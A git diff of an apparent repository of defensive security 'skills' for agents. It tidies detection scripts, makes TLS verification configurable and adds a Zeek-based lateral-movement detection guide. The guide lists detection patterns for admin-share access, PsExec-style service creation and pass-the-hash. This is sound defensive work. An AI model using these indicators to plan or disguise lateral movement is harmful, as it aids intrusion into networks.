b/skills/detecting-attacks-on-historian-servers/scripts/agent.py index 129af256..1857359d 100644 --- a/skills/detecting-attacks-on-historian-servers/scripts/agent.py +++ b/skills/detecting-attacks-on-historian-servers/scripts/agent.py @@ -2,6 +2,7 @@ """Historian server attack detection agent for ICS/SCADA environments.""" import json +import os import sys import argparse import socket @@ -51,7 +52,8 @@ def check_pi_web_api(host, username=None, password=None): results = {"host": host, "checks": []} try: - resp = requests.get(f"{base}/system", auth=auth, verify=False, timeout=10) + resp = requests.get(f"{base}/system", auth=auth, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=10) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code == 200: data = resp.json() results["product_version"] = data.get("ProductTitle", "") @@ -67,7 +69,8 @@ def check_pi_web_api(host, username=None, password=None): results["error"] = str(e) try: - resp = requests.get(f"{base}/points", auth=auth, verify=False, + resp = requests.get(f"{base}/points", auth=auth, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", params={"maxCount": 10}, timeout=10) if resp.status_code == 200: points = resp.json().get("Items", []) diff --git a/skills/detecting-attacks-on-scada-systems/SKILL.md b/skills/detecting-attacks-on-scada-systems/SKILL.md index c452933d..85abc162 100644 --- a/skills/detecting-attacks-on-scada-systems/SKILL.md +++ b/skills/detecting-attacks-on-scada-systems/SKILL.md @@ -397,7 +397,7 @@ class ProcessAnomalyDetector: params=params, headers=headers, timeout=10, - verify=False, # Many OT historians use self-signed certs + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) resp.raise_for_status() return resp.json() diff --git a/skills/detecting-attacks-on-scada-systems/scripts/agent.py b/skills/detecting-attacks-on-scada-systems/scripts/agent.py index ebe60f0e..2a6d8fd9 100644 --- a/skills/detecting-attacks-on-scada-systems/scripts/agent.py +++ b/skills/detecting-attacks-on-scada-systems/scripts/agent.py @@ -5,7 +5,6 @@ import json import sys import argparse import socket -import struct from datetime import datetime try: diff --git a/skills/detecting-aws-guardduty-findings-automation/scripts/agent.py b/skills/detecting-aws-guardduty-findings-automation/scripts/agent.py index ad277381..8a2b69aa 100644 --- a/skills/detecting-aws-guardduty-findings-automation/scripts/agent.py +++ b/skills/detecting-aws-guardduty-findings-automation/scripts/agent.py @@ -8,7 +8,6 @@ from datetime import datetime try: import boto3 - from botocore.exceptions import ClientError except ImportError: print("Install: pip install boto3") sys.exit(1) diff --git a/skills/detecting-azure-service-principal-abuse/scripts/agent.py b/skills/detecting-azure-service-principal-abuse/scripts/agent.py index 53eaa7c7..692791db 100644 --- a/skills/detecting-azure-service-principal-abuse/scripts/agent.py +++ b/skills/detecting-azure-service-principal-abuse/scripts/agent.py @@ -8,8 +8,6 @@ from datetime import datetime, timedelta try: from azure.identity import ClientSecretCredential - from azure.mgmt.authorization import AuthorizationManagementClient - from azure.graphrbac import GraphRbacManagementClient except ImportError: ClientSecretCredential = None diff --git a/skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py b/skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py index 40018400..07cff980 100644 --- a/skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py +++ b/skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for detecting C2 beaconing patterns in Zeek conn.log data.""" -import os import json import argparse from datetime import datetime @@ -9,7 +8,6 @@ from datetime import datetime import numpy as np import pandas as pd from zat.log_to_dataframe import LogToDataFrame -from zat import zeek_log_reader def load_conn_log(log_path): diff --git a/skills/detecting-business-email-compromise-with-ai/SKILL.md b/skills/detecting-business-email-compromise-with-ai/SKILL.md index de4b6299..fd68d177 100644 --- a/skills/detecting-business-email-compromise-with-ai/SKILL.md +++ b/skills/detecting-business-email-compromise-with-ai/SKILL.md @@ -20,7 +20,7 @@ AI-powered BEC detection uses machine learning, NLP, and behavioral analytics to - SIEM for alert correlation and investigation - Understanding of BEC attack types (FBI IC3 classification) -## Implementation Steps +## Workflow ### Step 1: Deploy AI Email Security Platform - Select API-based solution (Abnormal Security, Tessian, Ironscales) or enhance existing SEG diff --git a/skills/detecting-business-email-compromise-with-ai/scripts/agent.py b/skills/detecting-business-email-compromise-with-ai/scripts/agent.py index b3f59efa..b3229e23 100644 --- a/skills/detecting-business-email-compromise-with-ai/scripts/agent.py +++ b/skills/detecting-business-email-compromise-with-ai/scripts/agent.py @@ -9,7 +9,6 @@ import argparse import json import math import re -import sys from collections import Counter URGENCY_WORDS = {"urgent", "immediately", "asap", "deadline", "critical", diff --git a/skills/detecting-business-email-compromise/SKILL.md b/skills/detecting-business-email-compromise/SKILL.md index ab2a08e3..2c2623d7 100644 --- a/skills/detecting-business-email-compromise/SKILL.md +++ b/skills/detecting-business-email-compromise/SKILL.md @@ -37,7 +37,7 @@ Business Email Compromise (BEC) is a sophisticated fraud scheme where attackers - First-time communication pattern between sender and recipient - Request for gift cards or cryptocurrency -## Implementation Steps +## Workflow ### Step 1: Configure BEC-Specific Email Rules - Flag emails with VIP display names from external domains diff --git a/skills/detecting-business-email-compromise/scripts/agent.py b/skills/detecting-business-email-compromise/scripts/agent.py index b696a421..7e1743d6 100644 --- a/skills/detecting-business-email-compromise/scripts/agent.py +++ b/skills/detecting-business-email-compromise/scripts/agent.py @@ -9,7 +9,6 @@ import argparse import email import json import re -import sys from email import policy from pathlib import Path diff --git a/skills/executing-diamond-model-analysis/LICENSE b/skills/detecting-cloud-cryptomining-activity.bak/LICENSE similarity index 100% rename from skills/executing-diamond-model-analysis/LICENSE rename to skills/detecting-cloud-cryptomining-activity.bak/LICENSE diff --git a/skills/detecting-cloud-cryptomining-activity/SKILL.md b/skills/detecting-cloud-cryptomining-activity.bak/SKILL.md similarity index 100% rename from skills/detecting-cloud-cryptomining-activity/SKILL.md rename to skills/detecting-cloud-cryptomining-activity.bak/SKILL.md diff --git a/skills/detecting-cloud-cryptomining-activity/references/api-reference.md b/skills/detecting-cloud-cryptomining-activity.bak/references/api-reference.md similarity index 100% rename from skills/detecting-cloud-cryptomining-activity/references/api-reference.md rename to skills/detecting-cloud-cryptomining-activity.bak/references/api-reference.md diff --git a/skills/detecting-cloud-cryptomining-activity/scripts/agent.py b/skills/detecting-cloud-cryptomining-activity.bak/scripts/agent.py similarity index 100% rename from skills/detecting-cloud-cryptomining-activity/scripts/agent.py rename to skills/detecting-cloud-cryptomining-activity.bak/scripts/agent.py diff --git a/skills/detecting-container-escape-attempts/SKILL.md b/skills/detecting-container-escape-attempts/SKILL.md index e8c9834b..e110614f 100644 --- a/skills/detecting-container-escape-attempts/SKILL.md +++ b/skills/detecting-container-escape-attempts/SKILL.md @@ -44,7 +44,7 @@ Container escape is a critical attack technique where an adversary breaks out of 4. **Network monitoring** - Detect container-to-host connections 5. **Audit logging** - Linux auditd for capability and mount operations -## Implementation Steps +## Workflow ### Step 1: Deploy Falco for Runtime Detection diff --git a/skills/detecting-container-escape-with-falco-rules/scripts/agent.py b/skills/detecting-container-escape-with-falco-rules/scripts/agent.py index 45650243..9a2de4de 100644 --- a/skills/detecting-container-escape-with-falco-rules/scripts/agent.py +++ b/skills/detecting-container-escape-with-falco-rules/scripts/agent.py @@ -10,7 +10,6 @@ import json import subprocess import sys from datetime import datetime -from pathlib import Path ESCAPE_RULE_TAGS = ["container", "escape", "T1611", "T1610", "namespace", "docker_socket", "cgroup", "kernel_module", "privileged"] diff --git a/skills/detecting-credential-dumping-techniques/scripts/agent.py b/skills/detecting-credential-dumping-techniques/scripts/agent.py index c4c699b5..ead0bf80 100644 --- a/skills/detecting-credential-dumping-techniques/scripts/agent.py +++ b/skills/detecting-credential-dumping-techniques/scripts/agent.py @@ -5,7 +5,6 @@ import json import re import argparse import xml.etree.ElementTree as ET -from collections import defaultdict from datetime import datetime diff --git a/skills/hunting-for-webshells-in-web-servers/LICENSE b/skills/detecting-credential-dumping-with-edr.bak/LICENSE similarity index 100% rename from skills/hunting-for-webshells-in-web-servers/LICENSE rename to skills/detecting-credential-dumping-with-edr.bak/LICENSE diff --git a/skills/detecting-credential-dumping-with-edr/SKILL.md b/skills/detecting-credential-dumping-with-edr.bak/SKILL.md similarity index 100% rename from skills/detecting-credential-dumping-with-edr/SKILL.md rename to skills/detecting-credential-dumping-with-edr.bak/SKILL.md diff --git a/skills/detecting-credential-dumping-with-edr/assets/template.md b/skills/detecting-credential-dumping-with-edr.bak/assets/template.md similarity index 100% rename from skills/detecting-credential-dumping-with-edr/assets/template.md rename to skills/detecting-credential-dumping-with-edr.bak/assets/template.md diff --git a/skills/detecting-credential-dumping-with-edr/references/api-reference.md b/skills/detecting-credential-dumping-with-edr.bak/references/api-reference.md similarity index 100% rename from skills/detecting-credential-dumping-with-edr/references/api-reference.md rename to skills/detecting-credential-dumping-with-edr.bak/references/api-reference.md diff --git a/skills/detecting-credential-dumping-with-edr/references/standards.md b/skills/detecting-credential-dumping-with-edr.bak/references/standards.md similarity index 100% rename from skills/detecting-credential-dumping-with-edr/references/standards.md rename to skills/detecting-credential-dumping-with-edr.bak/references/standards.md diff --git a/skills/detecting-credential-dumping-with-edr/references/workflows.md b/skills/detecting-credential-dumping-with-edr.bak/references/workflows.md similarity index 100% rename from skills/detecting-credential-dumping-with-edr/references/workflows.md rename to skills/detecting-credential-dumping-with-edr.bak/references/workflows.md diff --git a/skills/detecting-credential-dumping-with-edr/scripts/agent.py b/skills/detecting-credential-dumping-with-edr.bak/scripts/agent.py similarity index 98% rename from skills/detecting-credential-dumping-with-edr/scripts/agent.py rename to skills/detecting-credential-dumping-with-edr.bak/scripts/agent.py index d3f65fcf..7dce2b29 100644 --- a/skills/detecting-credential-dumping-with-edr/scripts/agent.py +++ b/skills/detecting-credential-dumping-with-edr.bak/scripts/agent.py @@ -8,14 +8,10 @@ DCSync indicators (Event ID 4662), and suspicious process patterns. import argparse import json import re -import struct -import sys from datetime import datetime -from pathlib import Path try: import Evtx.Evtx as evtx - import Evtx.Views as views except ImportError: evtx = None diff --git a/skills/detecting-credential-dumping-with-edr/scripts/process.py b/skills/detecting-credential-dumping-with-edr.bak/scripts/process.py similarity index 100% rename from skills/detecting-credential-dumping-with-edr/scripts/process.py rename to skills/detecting-credential-dumping-with-edr.bak/scripts/process.py diff --git a/skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py b/skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py index e4f603c6..7ee7892f 100644 --- a/skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py +++ b/skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py @@ -8,7 +8,6 @@ accounts requesting directory replication (DCSync technique T1003.006). import argparse import json import re -import sys from datetime import datetime try: diff --git a/skills/detecting-dll-sideloading-attacks/scripts/agent.py b/skills/detecting-dll-sideloading-attacks/scripts/agent.py index 2cc16679..2a3f7751 100644 --- a/skills/detecting-dll-sideloading-attacks/scripts/agent.py +++ b/skills/detecting-dll-sideloading-attacks/scripts/agent.py @@ -8,7 +8,6 @@ a common APT persistence and defense evasion technique (T1574.002). import argparse import json import re -import sys from datetime import datetime from pathlib import Path diff --git a/skills/detecting-dnp3-protocol-anomalies/scripts/agent.py b/skills/detecting-dnp3-protocol-anomalies/scripts/agent.py index 9886c18c..ec2c4663 100644 --- a/skills/detecting-dnp3-protocol-anomalies/scripts/agent.py +++ b/skills/detecting-dnp3-protocol-anomalies/scripts/agent.py @@ -7,9 +7,6 @@ unauthorized control commands, protocol violations, and traffic anomalies. import argparse import json -import re -import subprocess -import sys from collections import Counter, defaultdict from datetime import datetime diff --git a/skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md b/skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md index 4add4d64..e098642b 100644 --- a/skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md +++ b/skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md @@ -67,7 +67,7 @@ NULL records carry arbitrary binary data | DNSExfiltrator | Custom | Base64 | Low | | Cobalt Strike DNS | C2 over DNS | Custom encoding | High | -## Implementation Steps +## Workflow ### Step 1: Capture DNS Traffic diff --git a/skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py b/skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py index 0f709183..66209a8d 100644 --- a/skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py +++ b/skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py @@ -8,8 +8,6 @@ excessive query length, abnormal TXT record usage, and volume spikes. import argparse import json import math -import re -import sys from collections import Counter, defaultdict from datetime import datetime @@ -143,6 +141,7 @@ def analyze_queries(queries): def main(): + global ENTROPY_THRESHOLD, SUBDOMAIN_LENGTH_THRESHOLD parser = argparse.ArgumentParser(description="DNS Exfiltration Detector") parser.add_argument("--dns-log", required=True, help="DNS log file (Zeek or text)") parser.add_argument("--format", choices=["zeek", "text"], default="zeek") @@ -150,7 +149,6 @@ def main(): parser.add_argument("--length-threshold", type=int, default=SUBDOMAIN_LENGTH_THRESHOLD) args = parser.parse_args() - global ENTROPY_THRESHOLD, SUBDOMAIN_LENGTH_THRESHOLD ENTROPY_THRESHOLD = args.entropy_threshold SUBDOMAIN_LENGTH_THRESHOLD = args.length_threshold diff --git a/skills/detecting-email-account-compromise/scripts/agent.py b/skills/detecting-email-account-compromise/scripts/agent.py index e6e57728..ba97dcf5 100644 --- a/skills/detecting-email-account-compromise/scripts/agent.py +++ b/skills/detecting-email-account-compromise/scripts/agent.py @@ -4,8 +4,6 @@ import argparse import json import math -import re -import sys from collections import Counter, defaultdict from datetime import datetime from pathlib import Path diff --git a/skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py b/skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py index 41e767f2..e8f69a8d 100644 --- a/skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py +++ b/skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py @@ -9,9 +9,7 @@ by analyzing Sysmon and Windows Security event logs. import argparse import json import re -import sys from datetime import datetime -from pathlib import Path try: import Evtx.Evtx as evtx diff --git a/skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md b/skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md index 1bdec67c..4604424f 100644 --- a/skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md +++ b/skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md @@ -9,6 +9,9 @@ author: mahipal license: Apache-2.0 --- + +# Detecting Exfiltration over DNS with Zeek + ## Overview DNS tunneling and exfiltration is a technique used by attackers to bypass firewalls and DLP controls by encoding stolen data into DNS query subdomains. Legitimate DNS queries have predictable entropy and length patterns, while exfiltration queries contain encoded data with high Shannon entropy, unusually long subdomain labels, and high volumes of unique subdomains per parent domain. diff --git a/skills/detecting-exfiltration-over-dns-with-zeek/scripts/agent.py b/skills/detecting-exfiltration-over-dns-with-zeek/scripts/agent.py index 9a4b0cef..4c0079f1 100644 --- a/skills/detecting-exfiltration-over-dns-with-zeek/scripts/agent.py +++ b/skills/detecting-exfiltration-over-dns-with-zeek/scripts/agent.py @@ -4,7 +4,6 @@ import argparse import json import math -import sys from collections import defaultdict diff --git a/skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py b/skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py index 0869ae16..18196e8e 100644 --- a/skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py +++ b/skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py @@ -8,7 +8,6 @@ WMI persistence events, and reflective DLL injection indicators from Sysmon. import argparse import json import re -import sys from datetime import datetime try: diff --git a/skills/detecting-fileless-malware-techniques/scripts/agent.py b/skills/detecting-fileless-malware-techniques/scripts/agent.py index 31443db7..7a534f8d 100644 --- a/skills/detecting-fileless-malware-techniques/scripts/agent.py +++ b/skills/detecting-fileless-malware-techniques/scripts/agent.py @@ -7,11 +7,9 @@ import re import subprocess import sys from datetime import datetime -from pathlib import Path try: import Evtx.Evtx as evtx - import Evtx.Views as evtx_views HAS_EVTX = True except ImportError: HAS_EVTX = False diff --git a/skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py index 8f27a5c3..55ae18c9 100644 --- a/skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py +++ b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py @@ -8,7 +8,6 @@ with anomalous encryption types, impossible lifetimes, and non-existent accounts import argparse import json import re -import sys from datetime import datetime try: diff --git a/skills/hunting-living-off-the-land-binaries/LICENSE b/skills/detecting-golden-ticket-attacks.bak/LICENSE similarity index 100% rename from skills/hunting-living-off-the-land-binaries/LICENSE rename to skills/detecting-golden-ticket-attacks.bak/LICENSE diff --git a/skills/detecting-golden-ticket-attacks/SKILL.md b/skills/detecting-golden-ticket-attacks.bak/SKILL.md similarity index 100% rename from skills/detecting-golden-ticket-attacks/SKILL.md rename to skills/detecting-golden-ticket-attacks.bak/SKILL.md diff --git a/skills/detecting-golden-ticket-attacks/references/api-reference.md b/skills/detecting-golden-ticket-attacks.bak/references/api-reference.md similarity index 100% rename from skills/detecting-golden-ticket-attacks/references/api-reference.md rename to skills/detecting-golden-ticket-attacks.bak/references/api-reference.md diff --git a/skills/detecting-golden-ticket-attacks/scripts/agent.py b/skills/detecting-golden-ticket-attacks.bak/scripts/agent.py similarity index 100% rename from skills/detecting-golden-ticket-attacks/scripts/agent.py rename to skills/detecting-golden-ticket-attacks.bak/scripts/agent.py diff --git a/skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py b/skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py index a6d382c8..d51773c8 100644 --- a/skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py +++ b/skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py @@ -1,13 +1,11 @@ #!/usr/bin/env python3 """Agent for detecting insider data exfiltration via DLP analysis.""" -import os import json import argparse from datetime import datetime import pandas as pd -import numpy as np def load_activity_logs(log_path): diff --git a/skills/detecting-insider-threat-behaviors/scripts/agent.py b/skills/detecting-insider-threat-behaviors/scripts/agent.py index 0543cc32..0c5c544d 100644 --- a/skills/detecting-insider-threat-behaviors/scripts/agent.py +++ b/skills/detecting-insider-threat-behaviors/scripts/agent.py @@ -7,11 +7,8 @@ mass file downloads, unusual data access patterns, and privilege abuse. import argparse import json -import math -import re -import sys -from collections import Counter, defaultdict -from datetime import datetime, timedelta +from collections import defaultdict +from datetime import datetime RISK_INDICATORS = { "off_hours_access": {"weight": 15, "desc": "Activity outside business hours"}, diff --git a/skills/detecting-insider-threat-with-ueba/scripts/agent.py b/skills/detecting-insider-threat-with-ueba/scripts/agent.py index 88407538..742e55ad 100644 --- a/skills/detecting-insider-threat-with-ueba/scripts/agent.py +++ b/skills/detecting-insider-threat-with-ueba/scripts/agent.py @@ -5,6 +5,7 @@ import json import argparse import logging import math +import os from collections import defaultdict from datetime import datetime, timedelta from elasticsearch import Elasticsearch @@ -159,7 +160,7 @@ def generate_report(anomalies, peer_findings, baselines): def main(): parser = argparse.ArgumentParser(description="UEBA Insider Threat Detection Agent") - parser.add_argument("--es-hosts", default="https://localhost:9200", help="Elasticsearch hosts") + parser.add_argument("--es-hosts", default=os.environ.get("ES_HOSTS", "https://localhost:9200"), help="Elasticsearch hosts") parser.add_argument("--api-key", help="Elasticsearch API key") parser.add_argument("--index", default="logs-*", help="Log index pattern") parser.add_argument("--user-field", default="user.name", help="User identity field") diff --git a/skills/detecting-lateral-movement-in-network/scripts/agent.py b/skills/detecting-lateral-movement-in-network/scripts/agent.py index daae4887..f4e39a6f 100644 --- a/skills/detecting-lateral-movement-in-network/scripts/agent.py +++ b/skills/detecting-lateral-movement-in-network/scripts/agent.py @@ -4,11 +4,9 @@ import json import os import re -import subprocess import sys from collections import Counter, defaultdict from datetime import datetime -from pathlib import Path try: import Evtx.Evtx as evtx diff --git a/skills/detecting-lateral-movement-with-splunk/scripts/agent.py b/skills/detecting-lateral-movement-with-splunk/scripts/agent.py index 530e5ee0..17fdaf64 100644 --- a/skills/detecting-lateral-movement-with-splunk/scripts/agent.py +++ b/skills/detecting-lateral-movement-with-splunk/scripts/agent.py @@ -7,7 +7,6 @@ including pass-the-hash, RDP pivoting, WMI/PSExec execution, and SMB abuse. import argparse import json -import sys from datetime import datetime LATERAL_MOVEMENT_QUERIES = { diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE b/skills/detecting-lateral-movement-with-zeek/LICENSE similarity index 100% rename from skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE rename to skills/detecting-lateral-movement-with-zeek/LICENSE diff --git a/skills/detecting-lateral-movement-with-zeek/SKILL.md b/skills/detecting-lateral-movement-with-zeek/SKILL.md new file mode 100644 index 00000000..0601155a --- /dev/null +++ b/skills/detecting-lateral-movement-with-zeek/SKILL.md @@ -0,0 +1,142 @@ +--- +name: detecting-lateral-movement-with-zeek +description: > + Detect lateral movement in network traffic using Zeek (formerly Bro) log + analysis. Parses conn.log, smb_mapping.log, smb_files.log, dce_rpc.log, + kerberos.log, and ntlm.log to identify SMB file transfers, Pass-the-Hash + activity, remote service execution, and anomalous internal connections. +domain: cybersecurity +subdomain: network-security +tags: [zeek, lateral-movement, smb, dce-rpc, pass-the-hash, network-forensics] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- + +# Detecting Lateral Movement with Zeek + +Analyze Zeek network logs to identify lateral movement techniques including +SMB admin share access, DCE/RPC remote service creation, Pass-the-Hash via +NTLM, Kerberos ticket anomalies, and large internal data transfers indicative +of staging or exfiltration between hosts. + +## When to Use + +- Hunting for lateral movement after an initial compromise indicator is found on one endpoint +- Investigating suspected Pass-the-Hash or Pass-the-Ticket attacks across the internal network +- Monitoring SMB traffic for unauthorized file transfers to admin shares (C$, ADMIN$, IPC$) +- Detecting remote service execution via DCE/RPC (PsExec, schtasks, WMI lateral patterns) +- Building alerting rules for internal network anomalies in a Zeek-based NSMP deployment +- Performing post-incident timeline reconstruction using Zeek logs as a network-level evidence source + +**Do not use** as a standalone detection mechanism. Zeek sees network traffic only; combine with endpoint telemetry (Sysmon, EDR) for full visibility. Encrypted SMB3 traffic may limit Zeek's visibility into file-level details. + +## Prerequisites + +- Zeek 6.0+ deployed on a network tap or SPAN port monitoring internal VLAN traffic +- Zeek SMB analyzer enabled (loaded by default: `@load base/protocols/smb`) +- Zeek DCE/RPC analyzer enabled (`@load base/protocols/dce-rpc`) +- Zeek Kerberos analyzer enabled (`@load base/protocols/krb`) +- Python 3.8+ with `pandas` for log analysis +- Access to Zeek log directory (default: `/opt/zeek/logs/current/`) +- Familiarity with Zeek TSV log format (fields separated by `\t`, header lines prefixed with `#`) + +## Workflow + +### Step 1: Verify Zeek Log Collection + +Confirm that Zeek is producing the required log files for lateral movement detection: + +```bash +# Check that all required analyzers are producing logs +ls -la /opt/zeek/logs/current/conn.log +ls -la /opt/zeek/logs/current/smb_mapping.log +ls -la /opt/zeek/logs/current/smb_files.log +ls -la /opt/zeek/logs/current/dce_rpc.log +ls -la /opt/zeek/logs/current/kerberos.log +ls -la /opt/zeek/logs/current/ntlm.log + +# Quick field check on conn.log +zeek-cut id.orig_h id.resp_h id.resp_p proto service < /opt/zeek/logs/current/conn.log | head -20 +``` + +### Step 2: Parse conn.log for Internal Lateral Patterns + +Identify connections between internal hosts on lateral-movement-associated ports: + +```bash +# Extract SMB connections (port 445) between internal hosts +zeek-cut ts id.orig_h id.orig_p id.resp_h id.resp_p proto service duration orig_bytes resp_bytes \ + < /opt/zeek/logs/current/conn.log \ + | awk '$5 == 445 && $7 == "smb"' + +# Extract DCE/RPC connections (port 135) +zeek-cut ts id.orig_h id.resp_h id.resp_p service \ + < /opt/zeek/logs/current/conn.log \ + | awk '$4 == 135' + +# Extract WinRM connections (port 5985/5986) +zeek-cut ts id.orig_h id.resp_h id.resp_p service \ + < /opt/zeek/logs/current/conn.log \ + | awk '$4 == 5985 || $4 == 5986' +``` + +### Step 3: Analyze SMB Admin Share Access + +Detect access to administrative shares (C$, ADMIN$, IPC$) which is the primary vector for tools like PsExec: + +```bash +# Check smb_mapping.log for admin share access +zeek-cut ts id.orig_h id.resp_h path share_type \ + < /opt/zeek/logs/current/smb_mapping.log \ + | grep -iE '(C\$|ADMIN\$|IPC\$)' + +# Check smb_files.log for file writes to admin shares +zeek-cut ts id.orig_h id.resp_h action path name size \ + < /opt/zeek/logs/current/smb_files.log \ + | grep -i 'SMB::FILE_WRITE' +``` + +### Step 4: Detect DCE/RPC Remote Service Operations + +Monitor for remote service creation and scheduled task registration via DCE/RPC: + +```bash +# Look for service control manager operations (PsExec pattern) +zeek-cut ts id.orig_h id.resp_h endpoint operation \ + < /opt/zeek/logs/current/dce_rpc.log \ + | grep -iE '(svcctl|atsvc|ITaskSchedulerService)' +``` + +### Step 5: Detect Pass-the-Hash via NTLM + +Analyze ntlm.log for authentication anomalies indicating credential reuse: + +```bash +# Extract NTLM authentications +zeek-cut ts id.orig_h id.resp_h username domainname server_nb_computer_name success \ + < /opt/zeek/logs/current/ntlm.log + +# Failed NTLM authentications (brute force or credential testing) +zeek-cut ts id.orig_h id.resp_h username success \ + < /opt/zeek/logs/current/ntlm.log \ + | awk '$5 == "F"' +``` + +### Step 6: Run the Automated Analysis Agent + +Use the provided agent.py for comprehensive lateral movement detection: + +```bash +python3 agent.py /opt/zeek/logs/current/ +python3 agent.py /opt/zeek/logs/2026-03-18/ # Analyze a specific date +``` + +## Verification + +- Confirm conn.log captures internal SMB (port 445) and DCE/RPC (port 135) connections with correct field parsing +- Verify smb_mapping.log correctly logs admin share paths (C$, ADMIN$, IPC$) +- Test with a known PsExec execution in a lab: expect to see SMB FILE_WRITE of the service binary followed by DCE/RPC svcctl CreateService +- Validate NTLM log parsing by performing a test authentication and confirming username, domain, and success fields are captured +- Cross-reference Zeek alerts with Sysmon Event ID 1 (Process Creation) on the target host to confirm end-to-end detection +- Verify the agent correctly handles both TSV and JSON Zeek log formats diff --git a/skills/detecting-lateral-movement-with-zeek/references/api-reference.md b/skills/detecting-lateral-movement-with-zeek/references/api-reference.md new file mode 100644 index 00000000..db95db13 --- /dev/null +++ b/skills/detecting-lateral-movement-with-zeek/references/api-reference.md @@ -0,0 +1,107 @@ +# API Reference: Detecting Lateral Movement with Zeek + +## CLI Usage + +```bash +# Analyze current Zeek logs +python agent.py /opt/zeek/logs/current/ + +# Analyze specific date +python agent.py /opt/zeek/logs/2026-03-18/ + +# Pipe JSON output for further processing +python agent.py /opt/zeek/logs/current/ 2>/dev/null | python -m json.tool +``` + +## Zeek Log Files Analyzed + +| Log File | Fields Used | Detection Purpose | +|----------|-------------|-------------------| +| conn.log | ts, id.orig_h, id.resp_h, id.resp_p, service, orig_bytes, resp_bytes | Internal lateral-port connections (SMB 445, RDP 3389, WinRM 5985) | +| smb_mapping.log | ts, id.orig_h, id.resp_h, path, share_type | Admin share access (C$, ADMIN$, IPC$) | +| smb_files.log | ts, id.orig_h, id.resp_h, action, path, name, size | Executable file writes to network shares | +| dce_rpc.log | ts, id.orig_h, id.resp_h, endpoint, operation, named_pipe | Remote service creation (svcctl), scheduled tasks (atsvc) | +| ntlm.log | ts, id.orig_h, id.resp_h, username, domainname, success | Pass-the-Hash detection, NTLM brute force | +| kerberos.log | ts, id.orig_h, id.resp_h, request_type, client, service, error_msg | Pass-the-Ticket, Kerberos pre-auth failures | + +## Lateral Movement Ports Tracked + +| Port | Service | ATT&CK Technique | +|------|---------|-------------------| +| 445 | SMB | T1021.002 - SMB/Windows Admin Shares | +| 135 | DCE/RPC | T1021.003 - Distributed Component Object Model | +| 139 | NetBIOS-SSN | T1021.002 - SMB/Windows Admin Shares | +| 3389 | RDP | T1021.001 - Remote Desktop Protocol | +| 5985 | WinRM-HTTP | T1021.006 - Windows Remote Management | +| 5986 | WinRM-HTTPS | T1021.006 - Windows Remote Management | +| 22 | SSH | T1021.004 - SSH | + +## Suspicious DCE/RPC Endpoints + +| Endpoint | Description | Severity | +|----------|-------------|----------| +| svcctl | Service Control Manager (PsExec pattern) | CRITICAL | +| atsvc | AT Scheduler Service (at.exe / schtasks) | CRITICAL | +| ITaskSchedulerService | Task Scheduler v2 (schtasks) | CRITICAL | +| winreg | Remote Registry manipulation | HIGH | +| samr | SAM Remote Protocol (user enumeration) | HIGH | +| lsarpc | LSA Remote Protocol (policy enumeration) | HIGH | +| srvsvc | Server Service (share/session enumeration) | HIGH | +| wkssvc | Workstation Service (user enumeration) | HIGH | + +## Detection Types in Output + +| Finding Type | Severity | Description | +|-------------|----------|-------------| +| lateral_port_connection | INFO | Internal connection on a lateral-movement-associated port | +| admin_share_access | HIGH | Access to C$, ADMIN$, or IPC$ administrative share | +| smb_file_write | MEDIUM/CRITICAL | File write to SMB share (CRITICAL if executable) | +| suspicious_dce_rpc | HIGH/CRITICAL | DCE/RPC call to remote execution endpoint | +| multi_source_ntlm_auth | HIGH | Single user NTLM authenticating from 3+ source IPs | +| ntlm_brute_force | HIGH | 5+ failed NTLM auth attempts from same source | +| multi_source_tgt_request | HIGH | Kerberos TGT requested from 3+ source IPs | +| kerberos_preauth_failure | MEDIUM | Kerberos pre-authentication failure | +| psexec_pattern | CRITICAL | Correlated SMB exe write + svcctl service creation | + +## Report Output Schema + +```json +{ + "summary": { + "total_findings": 42, + "by_severity": {"CRITICAL": 3, "HIGH": 15, "MEDIUM": 24}, + "by_type": {"admin_share_access": 8, "suspicious_dce_rpc": 5} + }, + "top_connection_pairs": [ + {"pair": 